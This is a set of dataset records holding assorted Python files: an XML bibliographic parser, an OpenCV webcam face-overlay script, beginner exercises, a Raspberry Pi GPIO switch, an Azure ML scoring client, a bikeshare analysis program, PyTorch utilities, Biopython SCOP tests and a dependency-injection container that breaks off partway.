= []\n databases = self.delist(self.find_in_nested_xml(xml, 'cross_biblio_database'))\n if type(databases)!=list:\n databases=[databases]\n for db in databases:\n if type(db)==list:\n db=db[0]\n ids.append(db['rec_database']['@id'])\n return ids\n\n def parse_database_name(self, xml):\n \"\"\" :param xml: pre parsovanie\n :return: str -- nazov databazy\n \"\"\"\n other={\"nazov\":None, \"je_short\":False}\n tmp=self.delist(self.find_in_nested_xml(xml, 'name'))\n if type(tmp)!=list:\n tmp=[tmp]\n for i in tmp:\n i = self.delist(i)\n if type(i)!=list:\n i=[i]\n if \"short_name\" in i[0][\"@name_type\"]:\n return {\"nazov\":i[0][\"#text\"], \"je_short\":True}\n if other['nazov'] is None:\n other['nazov']=i[0][\"#text\"]\n other['typ']=i[0][\"@name_type\"]\n return other\n\n def parse_publisher_id(self, xml):\n \"\"\" :param xml: pre parsovanie\n :return: str -- id vydavatela\n \"\"\"\n for i in self.find_in_nested_xml(xml, 'cross_biblio_institution'):\n if \"publisher\" in nested_lookup(\"@role_type\",i):\n return nested_lookup(\"rec_institution\",i)[0]['@id']\n return None\n\n def parse_institution_name(self, xml):\n \"\"\" :param xml: pre parsovanie\n :return: str -- nazov institucie\n \"\"\"\n tmp=self.delist(self.find_in_nested_xml(xml, 'institution_name'))\n while type(tmp)==list:\n tmp=tmp[0]\n return tmp['#text']\n\n def parse_source_additional(self,xml):\n res = self.delist(self.find_in_nested_xml(xml, 'cross_biblio_biblio'))\n for i in res:\n i = self.delist(i)\n if \"@source\" in i:\n rocnik=None\n for typ in self.typy_zapisov:\n if len(nested_lookup(typ, nested_lookup(\"volume\", i))):\n rocnik = nested_lookup(typ, nested_lookup(\"volume\", i))[0]\n break\n\n rok=None\n if len(nested_lookup(\"year\",nested_lookup(\"date\",i))):\n rok=nested_lookup(\"year\",nested_lookup(\"date\",i))[0]\n\n cislo=None\n for typ in self.typy_zapisov:\n if len(nested_lookup(typ,nested_lookup(\"issue\",i))):\n cislo=nested_lookup(typ,nested_lookup(\"issue\",i))[0]\n\n return {\"rocnik\":rocnik,\"rok\":rok, \"cislo\":cislo}\n\n def parse_type(self,xml):\n akt=self.find_in_nested_xml(xml, '@form_type')\n if len(akt):\n return akt[0]\n return None\n\n def parse_location(self,xml):\n for i in self.find_in_nested_xml(xml, 'cross_biblio_institution'):\n if \"publisher\" in nested_lookup(\"@role_type\",i):\n if len(nested_lookup(\"town\",i)):\n return nested_lookup(\"town\",i)[0]\n return None\n def parse_published_year(self,xml):\n for i in self.find_in_nested_xml(xml, 'biblio_year'):\n if \"published\" in nested_lookup(\"@type\",i):\n return nested_lookup(\"year\",i)[0]['#text']\n return None\n\n def parse_doi(self,xml):\n for i in self.find_in_nested_xml(xml, 'digi_identifier'):\n if (\"DOI\" in nested_lookup(\"@di_type\", i)) and len(nested_lookup(\"digi_value\", i)):\n return nested_lookup(\"digi_value\", i)[0]\n return None\n def parse_page_range_spec(self,xml):\n for i in self.find_in_nested_xml(xml, 'range'):\n if \"range_specification\" in i:\n return i[\"range_specification\"]\n return None\n\n def delist(self,x):\n while type(x)==list and len(x)==1:\n x=x[0]\n return x\n\n","sub_path":"converter/xml_handler.py","file_name":"xml_handler.py","file_ext":"py","file_size_in_byte":12881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"469380080","text":"#import necessary libraries\nimport cv2\nimport numpy as np\n\n#capture video from the webcam\ncap = cv2.VideoCapture(0)\n\n#load the face finder\nface_cascade = cv2.CascadeClassifier('/home/sm/Desktop/haarcascade_frontalface_default.xml')\n\n#load the face that will be swapped in\nface_img = cv2.imread('/home/sm/Desktop/faces/14.jpg')\n\n#start loop\nwhile True:\n ret, img = cap.read() #read image\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray, 1.3, 3) #find faces\n #for all the faces found in the frame\n for (x, y, w, h) in faces:\n #resize and blend the face to be swapped in\n face = cv2.resize(face_img, (h, w), interpolation=cv2.INTER_CUBIC)\n face = cv2.addWeighted(img[y:y+h, x:x+w], .5, face, .5, 1)\n #swap faces\n img[y:y+h, x:x+w] = face\n #show the image\n cv2.imshow('img', img)\ncv2.waitKey(1)","sub_path":"lib/faceSwap.py","file_name":"faceSwap.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"444216375","text":"# coding:iso-8859-9 Türkçe\r\n\r\nprint (\"[0->100] gelişigüzel sayılı 15x10 matris listesi:\\n\", \"-\"*49, sep=\"\")\r\nfrom random import randint\r\nL = [[randint (0,100) for j in range (15)] for i in range (10)]\r\nfrom pprint import pprint\r\npprint (L)\r\n\r\nprint (\"\\nÖnceki matrisin artan sıralı 1x150 listesi:\\n\", \"-\"*43, sep=\"\")\r\nL1 = []\r\nfor i in range (len (L)):\r\n for j in range (len (L[0])):\r\n L1 = L1 + [L[i][j]]\r\nL1.sort ()\r\nprint (L1)\r\n\r\nS = {}\r\nsayaç = 1\r\nfor i in range (len (L1)-1):\r\n if L1[i] == L1[i+1]:\r\n sayaç +=1\r\n else:\r\n S [L1[i] ] = sayaç\r\n sayaç = 1\r\nS [L1[i+1] ] = sayaç\r\nprint (\"\\nÖnceki listenin her elemanının tekrarını içeren \", len (S), \" ebatlı sözlük:\\n\", \"-\"*65, sep=\"\")\r\npprint (S)\r\n\r\nL = []\r\ntoplam = 0\r\nfor k in S.items():\r\n L = L + [(k[1], k[0])]\r\n toplam +=k[1]\r\nL.sort()\r\nprint (\"\\nÖnceki sözlüğün artan tekrara göre sıralı listesi:\\n\", \"-\"*50, sep=\"\")\r\npprint (L)\r\nprint (\"-\"*24, \"\\nTekrarların toplamı: \", toplam, sep=\"\")\r\n","sub_path":"Brian Heinold (243) ile Python/p11105e_sınav.py","file_name":"p11105e_sınav.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"648011508","text":"# Basic 'for item in iterable' iterating array\nregisteredUsers = [\"rscruz\", \"shadowd\", \"eshaker\", \"barat\"]\nfor user in registeredUsers:\n print(f\"User {user} connected to the game.\")\n\nprint()\n\n\n# Using startswith function\ncontactsList = [\"Joanne\", \"Mary\", \"Jessica\",\n \"Andrew\", \"Jonas\", \"Jeff\", \"Aldron\"]\n\ncontactFirstLetter = \"M\"\nfound = False\n\nfor contact in contactsList:\n if contact.startswith(contactFirstLetter):\n print(f\"> Found: {contact}\")\n found = True\n\nif not found:\n print(\n f\"> None of your contacts have a name starting with '{contactFirstLetter}'\"\n )\n","sub_path":"08_for-loops.py","file_name":"08_for-loops.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"376118445","text":"#!/usr/bin/python\n\nimport RPi.GPIO as GPIO # Speak to GPIO\nimport os.path # While loop only if file exists.\n\nstatus_file = \"/home/pi/switch/status/on\"\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(4, GPIO.OUT)\nwhile os.path.isfile(status_file):\n GPIO.output(4, GPIO.HIGH)\nGPIO.cleanup()","sub_path":"control/on.py","file_name":"on.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"533897056","text":"import requests\nimport json\n\n# URL for the web service, should be similar to:\n# 'http://8530a665-66f3-49c8-a953-b82a2d312917.eastus.azurecontainer.io/score'\nscoring_uri = \"http://d86c8f6d-4026-41c5-88ac-8bcd72752825.southcentralus.azurecontainer.io/score\"\n\n# Two sets of data to score, so we get two results back\ndata = {\"data\":\n [\n {\n \"city_development_index\": 0.899,\n \"gender\": \"Male\",\n \"relevent_experience\": \"No relevent experience\",\n \"enrolled_university\": \"Part time course\",\n \"education_level\": \"Masters\",\n \"major_discipline\": \"STEM\",\n \"experience\": 10,\n \"company_size\": \"50-99\",\n \"company_type\": \"Pvt Ltd\",\n \"last_new_job\": 2,\n \"training_hours\": 12\n },\n {\n \"city_development_index\": 0.665,\n \"gender\": \"Female\",\n \"relevent_experience\": \"Has relevent experience\",\n \"enrolled_university\": \"no_enrollment\",\n \"education_level\": \"Graduate\",\n \"major_discipline\": \"STEM\",\n \"experience\": 18,\n \"company_size\": \"100-500\",\n \"company_type\": \"Pvt Ltd\",\n \"last_new_job\": 4,\n \"training_hours\": 43\n },\n ]\n }\n# Convert to JSON string\ninput_data = json.dumps(data)\nwith open(\"data.json\", \"w\") as _f:\n _f.write(input_data)\n\n# Set the content type\nheaders = {\"Content-Type\": \"application/json\"}\n\n# Make the request and display the response\nresp = requests.post(scoring_uri, input_data, headers=headers)\nprint(resp.json())\n","sub_path":"starter_file/endpoint.py","file_name":"endpoint.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"96339831","text":"import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicagocity': 'chicagocity.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv' }\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n\n Returns:\n\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n print('Hello! Let\\'s explore some US bikeshare data!')\n # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid input city=input(\" Would you like to see data for Chicago , New York , Washington?\")\n\n city=input(\"Would you like to see data for Chicago , New York City, or Washington? \").lower()\n\n while city not in CITY_DATA:\n print(\"your city not found plaese try again \")\n city=input(\"Would you like to see data for Chicago , New York City, or Washington? \").lower()\n\n # TO DO: get user input for month (all, january, february, ... , june)\n month=int(input(\"Which month? Please type your response as an integer \"))\n\n # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n day=int(input(\"Which day? Please type your response as an integer \"))\n\n print('-'*40)\n return city, month, day\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n df=pd.read_csv(CITY_DATA[city])\n\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n df['month'] = df['Start Time'].dt.month\n df['day'] = df['Start Time'].dt.dayofweek\n\n df = df[df['month']==month]\n df = df[df['day']==day]\n\n return df\n\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n start_time = time.time()\n\n # TO DO: display the most common month\n common_month=df[\"month\"].mode()[0]\n print(\"Most common month is \",common_month)\n\n # TO DO: display the most common day of week\n common_day=df[\"day\"].mode()[0]\n print(\"Most common day is\" ,common_day)\n\n # TO DO: display the most common start hour\n df['hour'] = df['Start Time'].dt.hour\n common_Start_hour=df[\"hour\"].mode()[0]\n print(\"Most common Start hour is\" ,common_Start_hour)\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n\n # TO DO: display most commonly used start station\n common_start_station=df[\"Start Station\"].mode()[0]\n print(\"Most common start station is \", common_start_station)\n\n # TO DO: display most commonly used end station\n common_end_station=df[\"End Station\"].mode()[0]\n print(\"Most common end station is \", common_end_station)\n\n # TO DO: display most frequent combination of start station and end station trip\n common_trip_duration=(df[\"Start Station\"] + \" - \" + df[\"End Station\"]).mode()[0]\n print(\"Most common trip duration is \", common_trip_duration)\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n # TO DO: display total travel time\n total_time=df[\"Trip Duration\"].sum()\n print(\"total travel time\" ,total_time )\n\n # TO DO: display mean travel time\n mean_time=df[\"Trip Duration\"].mean()\n print(\"mean travel time\", mean_time)\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\ndef user_stats(df):\n \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n print('\\nCalculating User Stats...\\n')\n start_time = time.time()\n\n # TO DO: Display counts of user types\n user_types = df['User Type'].value_counts()\n print(user_types)\n\n if \"Gender\" in df:\n # TO DO: Display counts of gender\n Gender = df[\"Gender\"].value_counts()\n print(Gender)\n\n # TO DO: Display earliest, most recent, and most common year of birth\n print(\"The earliest year of birth :\" ,df[\"Birth Year\"].min())\n print(\"The most recent year of birth :\",df[\"Birth Year\"].max())\n print(\"The most common year of birth :\",df[\"Birth Year\"].mode()[0])\n else:\n print(\"Gender and birth year dosn't exist\")\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\ndef main():\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n\n num=0\n while True :\n data=input(\"do you want display data ? enter yes or no \")\n if data == \"no\":\n break\n else:\n print(df.iloc[num:num+5])\n num+=5\n\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n break\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":5699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"114677843","text":"QtdNumeros = int(input(\"Digite a quantidade de números que você quer comparar:\"))\nNumero = int(input(\"Digite um número:\"))\nMaior = Numero\nMenor = Numero\nSoma = 0\nAuxiliar = 1\nfor a in range(Auxiliar,QtdNumeros):\n if (Auxiliar < QtdNumeros):\n Numero = int(input(\"Digite um número:\"))\n if (Numero > Maior):\n Maior = Numero\n elif (Numero < Menor):\n Menor = Numero\n Soma = Maior + Menor \n Auxiliar = Auxiliar + 1\n \nprint(\"Maior número é:\",Maior)\nprint(\"Menor número é:\",Menor)\nprint(\"Soma igual a:\",Soma)\n","sub_path":"questao18.py","file_name":"questao18.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"384481639","text":"import torch\nimport numpy as np\nfrom scipy.sparse.linalg import eigsh\n\ndef zscore(X):\n mean_stimuli=np.mean(X,axis=0)\n std_stimuli=np.std(X,axis=0,ddof=1)+1e-10\n X=np.subtract(X,mean_stimuli)\n X=np.divide(X,std_stimuli)\n return X\n\ndef test_train_split(data,stim):\n unique, counts = np.unique(stim.flatten(), return_counts=True)\n count_dict=dict(zip(unique, counts))\n\n keys_with_enough_data=[]\n for key in count_dict.keys():\n if count_dict[key]==2:\n keys_with_enough_data.append(key)\n\n filtered_stims=np.isin(stim.flatten(),keys_with_enough_data)\n\n #Arrange data so that responses with the same stimulus are adjacent\n z=stim.flatten()[np.where(filtered_stims)[0]]\n sortd=np.argsort(z)\n istim=np.sort(z)\n X=data[filtered_stims,:]\n out=X[sortd,:].copy()\n\n x_train=out[::2,:]\n y_train=istim[::2]\n x_test=out[1::2,:]\n y_test=istim[1::2]\n \n return x_train, x_test, y_train, y_test\n\ndef PCA(images,k=100):\n images=torch.cuda.FloatTensor(images)\n mean_im=torch.mean(images,dim=0)\n centered=torch.sub(images,mean_im)\n print(centered.size())\n U,S,V=torch.svd(centered)\n #print(U,S,V)\n S=torch.diag(S)\n print(U.size())\n reduced=torch.matmul(U[:,:k],S[:k,:k])\n #print(reduced.size())\n reduced=torch.matmul(reduced,V[:,:k].t())\n return np.array(reduced.cpu())\n\ndef evaluate_model(x_train,x_test):\n corr_mat=np.zeros((x_train.shape[0],x_train.shape[0]))\n for j in range(0,x_train.shape[0]):\n for i in range(0,x_test.shape[0]):\n corr_mat[j,i]=np.corrcoef(x_train[j,:],x_test[i,:])[0,1]\n print(np.mean(np.argmax(corr_mat, axis=0) == np.arange(0,x_train.shape[0],1,int)))\n \n\ndef corrcoef(x,y):\n '''\n Torch implementation of the full correlation matrix.\n '''\n # calculate covariance matrix of columns\n mean_x = torch.mean(x,0)\n xm = torch.sub(x,mean_x)\n mean_y=torch.mean(y,0)\n ym=torch.sub(y,mean_y)\n c = torch.matmul(x.t(),y)\n c = c / (x.size(0))\n\n # normalize covariance matrix\n std_x=torch.std(x,0)\n std_y=torch.std(y,0)\n std=torch.matmul(std_x.view(std_x.size()[0],1),std_y.view(1,std_y.size()[0]))\n c = c.div(std)\n return c\n\ndef evaluate_model_torch(x_train,x_test):\n x_train=torch.cuda.FloatTensor(x_train).t()\n x_test=torch.cuda.FloatTensor(x_test).t()\n corr_mat=np.array(corrcoef(x_train,x_test).cpu())\n #print(corr_mat.size())\n x_train=np.array(x_train.t().cpu())\n print(corr_mat.shape)\n return np.mean(np.argmax(corr_mat, axis=0) == np.arange(0,x_train.shape[0],1,int))\n\ndef subtract_spont(spont,resp):\n #print(spont)\n mu = spont.mean(axis=0)\n sd = spont.std(axis=0) + 1e-6\n resp = (resp - mu) / sd\n spont = (spont - mu) / sd\n sv,u = eigsh(spont.T @ spont, k=32)\n resp = resp - (resp @ u) @ u.T\n return resp\n\n\n\n \n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"411617375","text":"# Copyright 2001 by Gavin E. Crooks. All rights reserved.\n# This code is part of the Biopython distribution and governed by its\n# license. Please see the LICENSE file that should have been included\n# as part of this package.\n\n\n\"\"\"Unit test for Cla\"\"\"\n\nimport unittest\n\nfrom Bio.SCOP import Cla\n\n\n\n\nclass ClaTests(unittest.TestCase):\n\n def setUp(self):\n self.filename = './SCOP/dir.cla.scop.txt_test'\n\n def testParse(self):\n \"\"\"Test if all records in a CLA file are being read\"\"\"\n f=open(self.filename)\n try: \n count = 0\n records = Cla.parse(f)\n for record in records:\n count +=1\n self.assertEqual(count, 14)\n finally:\n f.close()\n \n def testStr(self):\n \"\"\"Test if we can convert each record to a string correctly\"\"\"\n f = open(self.filename)\n try: \n for line in f:\n record = Cla.Record(line)\n #End of line is platform dependent. Strip it off\n self.assertEqual(str(record).rstrip(), line.rstrip())\n finally:\n f.close() \n\n def testError(self):\n \"\"\"Test if a corrupt record raises the appropriate exception\"\"\"\n corruptRec = \"49268\\tsp\\tb.1.2.1\\t-\\n\"\n self.assertRaises(ValueError, Cla.Record, corruptRec)\n\n def testRecord(self):\n \"\"\"Test one record in detail\"\"\"\n recLine = 'd1dan.1\\t1dan\\tT:,U:91-106\\tb.1.2.1\\t21953\\tcl=48724,cf=48725,sf=49265,fa=49266,dm=49267,sp=49268,px=21953'\n\n record = Cla.Record(recLine)\n self.assertEqual(record.sid, 'd1dan.1')\n self.assertEqual(record.residues.pdbid, '1dan')\n self.assertEqual(record.residues.fragments, (('T','',''),('U','91','106')))\n self.assertEqual(record.sccs, 'b.1.2.1')\n self.assertEqual(record.sunid, 21953)\n self.assertEqual(record.hierarchy, [['cl',48724],\n ['cf',48725],\n ['sf',49265],\n ['fa',49266],\n ['dm',49267],\n ['sp',49268],\n ['px',21953]])\n\n def testIndex(self):\n \"\"\"Test CLA file indexing\"\"\"\n index = Cla.Index(self.filename)\n \n self.assertEqual(len(index), 14)\n self.assertTrue('d4hbia_' in index)\n\n rec = index['d1hbia_']\n self.assertEqual(rec.sunid, 14996)\n\n\n\nif __name__=='__main__':\n runner = unittest.TextTestRunner(verbosity = 2)\n unittest.main(testRunner=runner)\n","sub_path":"Tests/test_SCOP_Cla.py","file_name":"test_SCOP_Cla.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"305819525","text":"import collections\nimport inspect\nimport sys\nimport logging\nimport traceback\nfrom readerwriterlock import rwlock\nfrom pprint import pprint\n\n_THREADING_LOCK = rwlock.RWLockWrite()\n\ndef _retrieve_class_path(obj):\n if not inspect.isclass(obj):\n raise Exception(\"Object must be a class\")\n paths = obj.__module__.split(\".\")\n paths.append(obj.__qualname__)\n\n return paths\n\nclass ObjectFactoryMap(dict):\n def __init__(self, *args, **kwargs):\n self.update(*args, **kwargs)\n\n for arg in args:\n if isinstance(arg, dict):\n for k, v in arg.items():\n self[k] = v\n\n if kwargs:\n for k, v in kwargs.items():\n self[k] = v\n\n def __getitem__(self, key):\n with _THREADING_LOCK.gen_rlock():\n val = dict.__getitem__(self, key)\n return val\n\n def __getattr__(self, attr):\n return self.get(attr)\n\n def __setattr__(self, key, value):\n self.__setitem__(key, value)\n\n def __setitem__(self, key, value):\n with _THREADING_LOCK.gen_wlock():\n super(ObjectFactoryMap, self).__setitem__(key, value)\n self.__dict__.update({key: value})\n\n def __delattr__(self, item):\n self.__delitem__(item)\n\n def __delitem__(self, key):\n with _THREADING_LOCK.gen_wlock():\n super(ObjectFactoryMap, self).__delitem__(key)\n del self.__dict__[key]\n\nclass ObjectFactory:\n \"\"\"\n ObjectFactory\n\n Init:\n f = ObjectFactory(class_object, *args, **kwargs)\n\n Special Keyword Arguments:\n _group : For object grouping, retrieve using DependencyGroup during container registration\n _alias : For object aliasing\n _config : To set object as config, will be pass to DependencyConfig\n\n To get an instance:\n f.instance(*args, **kwargs) => Return single instance\n f.build(*args, **kwargs) => Return new instance\n f(build=False, *args, **kwargs) => same as f.instance(*args, **kwargs)\n f(build=True, *args, **kwargs) => same as f.build(*args, **kwargs)\n f(*args, **kwargs) => same as f.instance(*args, **kwargs)\n\n *args, **kwargs will be merge with dependency_args and dependency_kwargs is passed during class object creation\n \"\"\"\n def __init__(self, class_object, containers, *args, **kwargs):\n self.__class_object = class_object\n self.__containers = containers\n self.__dependency_args = args\n self.__dependency_kwargs = kwargs\n self.__instance = None\n self._logger = logging.getLogger(\"easydi.{}\".format(self.__class__.__name__))\n\n @property\n def name(self):\n return self.__class_object.__qualname__\n\n def update_containers(self, containers):\n self.__containers = containers\n\n def __create_instance(self, *args, **kwargs):\n\n dependency_args = [arg.build(self.__containers)\n for arg in self.__dependency_args]\n dependency_kwargs = dict((k, v.build(self.__containers))\n for k, v in self.__dependency_kwargs.items())\n\n dependency_args = tuple(dependency_args) + tuple(args)\n dependency_kwargs.update(kwargs)\n try:\n return self.__class_object(*dependency_args, **dependency_kwargs)\n except:\n self._logger.debug(\"{} {}\".format(self.__class_object, sys.exc_info()))\n raise Exception(\"Unable to create {} instance.\".format(\n self.__class_object))\n\n def instance(self, *args, **kwargs):\n if self.__instance is None:\n instance = self.__create_instance(*args, **kwargs)\n self.__instance = instance\n return self.__instance\n\n def build(self, *args, **kwargs):\n return self.__create_instance(*args, **kwargs)\n\n def __call__(self, _build=False, *args, **kwargs):\n if _build is True:\n self._logger.debug([self.name, \"Build\"])\n return self.build(*args, **kwargs)\n else:\n return self.instance(*args, **kwargs)\n\n\nclass Dependency:\n \"\"\"\n Dependency\n\n Default Dependency Object, return instance, list, dict or tuple\n \"\"\"\n\n def __init__(self, _class, _single_instance=True, *args, **kwargs):\n self.__class = _class\n self.__single_instance = _single_instance\n self.__dependency_args = args\n self.__dependency_kwargs = kwargs\n self._logger = logging.getLogger(\"easydi.{}\".format(self.__class__.__name__))\n\n def build(self, containers):\n obj = None\n\n if inspect.isclass(self.__class):\n try:\n class_path = _retrieve_class_path(self.__class)\n for path in class_path:\n if isinstance(obj, ObjectFactoryMap):\n obj = getattr(obj, path)\n else:\n obj = getattr(containers, path)\n\n # Unregister dependency return normal class ( always new instance )\n if obj is None:\n return self.__class(*self.__dependency_args, **self.__dependency_kwargs)\n\n if self.__single_instance is False:\n return obj.build(*self.__dependency_args, **self.__dependency_kwargs)\n return obj.instance(*self.__dependency_args, **self.__dependency_kwargs)\n except:\n self._logger.debug(sys.exc_info())\n raise Exception(\n \"Object {} is not register in containers\".format(\".\".join(class_path)))\n elif isinstance(self.__class, (list, dict, tuple, int, float)):\n # Tuple, List, Dict, etc\n return self.__class\n\n raise Exception(\"Unsupported object type\")\n\nclass DependencyPath:\n def __init__(self, _path, _single_instance=True, *args, **kwargs):\n self.__path = _path\n self.__single_instance = _single_instance\n self.__dependency_args = args\n self.__dependency_kwargs = kwargs\n self._logger = logging.getLogger(\"easydi.{}\".format(self.__class__.__name__))\n\n def build(self, containers):\n obj = None\n\n try:\n class_path = self.__path.split(\".\")\n\n for path in class_path:\n if isinstance(obj, ObjectFactoryMap):\n obj = getattr(obj, path)\n else:\n obj = getattr(containers, path)\n\n # Unregister dependency return normal class ( always new instance )\n if obj is None:\n return self.__class(*self.__dependency_args, **self.__dependency_kwargs)\n\n if self.__single_instance is False:\n return obj.build(*self.__dependency_args, **self.__dependency_kwargs)\n return obj.instance(*self.__dependency_args, **self.__dependency_kwargs)\n except:\n self._logger.debug(sys.exc_info())\n raise Exception(\n \"Object {} is not register in containers\".format(\".\".join(class_path)))\n\n raise Exception(\"Unsupported object type\")\n\nclass DependencyConfig:\n \"\"\"\n Dependency Config\n\n Get config value from specified config object\n First register config object to container using _config=True keyword argument\n Then register an object that require to read config to container with this class as dependency\n\n Arguments:\n config_path : config path with dot, we assume config is in dict\n placeholder : default value when config is not found\n value_format : Config value return format in str, bool, int, float default to str\n \"\"\"\n def __init__(self, config_path, placeholder=None, value_format=str):\n self.__config_path = config_path\n self.__placeholder = placeholder\n self.__value_format = value_format\n self._logger = logging.getLogger(\"easydi.{}\".format(self.__class__.__name__))\n\n def build(self, containers):\n try:\n config_instance = containers[\"_config\"].instance()\n except:\n raise Exception(\"Object for config not set, please register object with _config=True\")\n\n get_function = getattr(config_instance, \"get\", None)\n if not callable(get_function):\n raise Exception(\"Config must implement : def get(config_path, placeholder, value_format)\")\n\n return config_instance.get(self.__config_path, placeholder=self.__placeholder, value_format=self.__value_format)\n\nclass DependencyCallback:\n \"\"\"\n Dependency Callback\n\n Run defined callback function\n callback(containers, *args, **kwargs)\n\n Arguments:\n callback : callable function\n _single_instance : return new instance if False\n args: callback function arguments\n kwargs: callback function keyword arguments\n \"\"\"\n def __init__(self, callback, _single_instance=True, *args, **kwargs):\n self.__callback = callback\n self.__single_instance = _single_instance\n self.__dependency_args = args\n self.__dependency_kwargs = kwargs\n self._logger = logging.getLogger(\"easydi.{}\".format(self.__class__.__name__))\n\n def build(self, containers):\n try:\n result = self.__callback(containers, *self.__dependency_args, **self.__dependency_kwargs)\n\n if not inspect.isclass(result):\n return result\n\n class_path = _retrieve_class_path(result)\n obj = None\n\n for path in class_path:\n if isinstance(obj, ObjectFactoryMap):\n obj = getattr(obj, path)\n else:\n obj = getattr(containers, path)\n\n # Unregister dependency return normal class ( always new instance )\n if obj is None:\n return result(*self.__dependency_args, **self.__dependency_kwargs)\n\n if self.__single_instance is False:\n return obj.build(*self.__dependency_args, **self.__dependency_kwargs)\n return obj.instance(*self.__dependency_args, **self.__dependency_kwargs)\n except:\n raise Exception(\"Unsupported object type\")\n\nclass DependencyGroup:\n \"\"\"\n DependencyGroup\n\n Return list of ObjectFactory instance\n \"\"\"\n\n def __init__(self, group_name, as_dict=False, _single_instance=True, *args, **kwargs):\n self.__group_name = group_name\n self.__single_instance = _single_instance\n self.__dependency_args = args\n self.__dependency_kwargs = kwargs\n self.__as_dict = as_dict\n self._logger = logging.getLogger(\"easydi.{}\".format(self.__class__.__name__))\n\n def build(self, containers):\n if self.__as_dict:\n objs = {}\n else:\n objs = []\n\n if self.__group_name not in containers[\"_group\"]:\n return objs\n\n for obj in containers[\"_group\"][self.__group_name]:\n try:\n if self.__single_instance is False:\n instance = obj.build(*self.__dependency_args,\n **self.__dependency_kwargs)\n else:\n instance = obj.instance(*self.__dependency_args,\n **self.__dependency_kwargs)\n\n if self.__as_dict:\n objs[obj.name] = instance\n else:\n objs.append(instance)\n except:\n self._logger.debug(sys.exc_info())\n\n return objs\n\nclass Container:\n \"\"\"\n Container of all object, should be called only once in application\n Might not thread safe\n \"\"\"\n def __init__(self):\n self.__container = ObjectFactoryMap(\n {\"_group\": ObjectFactoryMap(), \"_alias\": ObjectFactoryMap(), \"_config\": None})\n\n def __getattr__(self, key):\n try:\n return self.__container.get(key)\n except:\n try:\n return self.__container._alias.get(key)\n except:\n pass\n raise Exception(\"Dependency {} is not register\".format(key))\n\n def update(self, container):\n if not isinstance(container, Container):\n raise Exception(\"Can only update form Container instance\")\n\n self._update_containers(self.__container, container.list())\n\n for obj in self.list_object_factories():\n obj.update_containers(self.__container)\n\n def _update_containers(self, dict1, dict2):\n for key, val in dict2.items():\n if key in dict1:\n if isinstance(dict1[key], ObjectFactoryMap):\n self._update_containers(dict1[key], val)\n elif isinstance(dict1[key], ObjectFactory):\n if val is not None:\n dict1[key] = val\n elif isinstance(dict1[key], list) and isinstance(val, list):\n dict1[key] += val\n else:\n dict1[key].update(val)\n else:\n dict1[key] = val\n\n def list_object_factories(self, objects=None):\n objs = []\n\n objects = objects or self.__container\n\n for k, v in objects.items():\n if isinstance(v, dict):\n if k in [\"_group\", \"_alias\", \"_config\"]:\n continue\n\n objs += self.list_object_factories(v)\n else:\n objs.append(v)\n return objs\n\n def list(self):\n return self.__container\n\n def register(self, class_object, *args, **kwargs):\n # Change class_object to Dependency object by default\n args = [(Dependency(arg) if not isinstance(\n arg, (Dependency, DependencyPath, 